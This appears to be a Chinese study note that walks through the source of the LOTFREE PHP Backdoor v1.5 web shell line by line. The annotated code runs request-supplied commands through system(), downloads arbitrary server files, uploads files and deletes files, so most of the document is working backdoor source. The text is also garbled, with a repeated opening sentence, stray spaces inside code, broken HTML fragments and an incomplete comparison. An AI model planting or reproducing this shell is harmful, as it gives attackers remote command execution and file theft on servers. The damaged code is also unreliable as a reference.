PHP Backdoor Version 1.5是由sirius_black / LOTFREE TEAM編寫的一個php後門程式,這裡對其進行一下簡單解析,也當做自己學習php的筆記,該後門程式成執行後門程式,這裡對其進行一下簡單解析,也當做自己學習php的筆記,該後門程式成執行後門程式,這裡對其進行簡單解析的命令,取決於安裝web伺服器和php時用戶的權限,如果是管理員的話,那就可以執行各種作業系統命令。
以下是一個後門程式的註解
- function good_link($link)
- {
- $link=ereg_replace(“/+”,”/”,$link);
- $ link=ereg_replace(“/[^/(..)]+/..”,”/”,$link);
- $link=ereg_replace(“/+”,”/”,$link );
- if(!strncmp($link,”./”,2) && strlen($link)>2)$link=substr($link,2);
- if ($link==”")$link=”.”;
- return $link;
- }
- //$_REQUEST用來取得提交到本文件的資料
- $dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:”.”; //如果沒有定義dir,dir取預設值」.”
- $dir=good_link($dir);
- $rep=opendir($dir); //開啟dir指定的路徑句柄
- chdir($dir); //切換到dir指定的目錄
- if(isset($_REQUEST["down"]) &&$_REQUEST["down"]!=”") //如果定義了down
- {
- header(“Content-Type: application/octet-stream”);
- header(“Content-Length: “.filesize($_REQUEST["down"]));
- header(“Content-Disposition: attachment; filename=”.basename($_REQUEST["down"]));
- readfile($_REQUEST["down"]); //將檔案讀取到緩衝區
- exit();
- }
- ?>
-
LOTFREE PHP Backdoor v1.5,易蹤網yeetrack.com
-
- echo “目前絕對路徑為: ”.getcwd().”
n”; //取得目前的絕對路徑
- echo “dir = '$dir'
n”;
- echo 「目前目錄,檔案清單!
n」;
- //如果已經輸入要執行的指令
- if(isset($_REQUEST['cmd']) &&$_REQUEST['cmd']!=”")
- {
- echo “
{
-
echo “n”;
-
system($_REQUEST['cmd']); //在伺服器上執行輸入的命令,執行結果回顯
-
echo “n” ;
-
}
-
//如果已經上傳了檔案
-
if(isset($_FILES["fic"]["name"]) && isset($_POST[ "MAX_FILE_SIZE"])) //取得post上來的檔案,儲存到目前目錄
-
{
-
if($_FILES["fic"]["size"] {
-
if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link(“./”.$ _FILES["fic"]["name"]))) //將暫存檔案儲存到目前目錄
-
{
-
echo “檔案儲存成功”.good_link(“./”. $_FILES["fic"]["name"]).」! n”;
-
}
-
else echo “檔案上傳失敗: “.$_FILES["fic" ]["error"].” n”;
-
}
-
else echo “File too large(檔案超出大小限制)! n”;
-
}
-
if(isset($_REQUEST['rm']) &&$_REQUEST['rm']!=”") //如果定義了rm,即刪除指定的檔案
-
{
-
if(unlink($_REQUEST['rm'])) //unlink是php的刪除檔案函數
-
echo 「成功刪除「.$_REQUEST['rm'] .”! n”;
-
else echo “刪除文件失敗 n”;
-
}
-
?>
-
-
-
$t_dir=array();
-
$t_file=array();
-
$i_dir=0;
-
$i_file=0;
-
/ /循環輸讀取前的目錄檔,放在t_dir和t_file中
-
while($x=readdir($rep))
-
{
-
if(is_dir( $x)) //如果目前處理的是目錄
-
$t_dir[$i_dir++]=$x;
-
else //如果目前處理的是檔案
-
$ t_file[$i_file++]=$x;
-
}
-
closedir($rep); //關閉opendir開啟的目錄句柄
-
while(1) //循環輸入目前路徑的目錄和檔案
-
{
-
?>
-
-
-
if($x=each($t_dir) )
-
{
-
$name=$x["value"]; //取得t_dir陣列裡的目錄名稱if($name=='.') {}
- elseif($name=='..') echo “ UP(父目錄)
n”; //展示一個UP連結,讀取父目錄的檔案清單
- else
- echo “ ”.$name.”n”;
- }
- ?>
-
|
|
- //$_SERVER['PHP_SELF']取得目前php腳本檔名
- if($y=each($t_file))
- {
- if($y ["key"]%2==0) //如果目前處理的是key
- echo ” bgcolor='lightgreen'>n”;
- else //如果目前處理的是value,即文件。就將該文件展示出來,且提供下載連結。
- echo “>n”;
- echo “ ”.$y["value"].”n”;
- }
- else echo“>n”;
- ? >
|
- if($y)
- {
- //如果是文件,就提供以下刪除該文件的連結
- if($y["key"]%2==0)echo ” bgcolor='lightgreen'”;
- echo “>Del”;
- }
- else echo “>n”;
- ?>
-
- if(!$x && !$y)
- break;
- }
- ?>
-
-
-
-
?dir=”>revenirau repertoire d'origine
-
- 上傳檔案到伺服器目前目錄:
-
-
複製代碼
|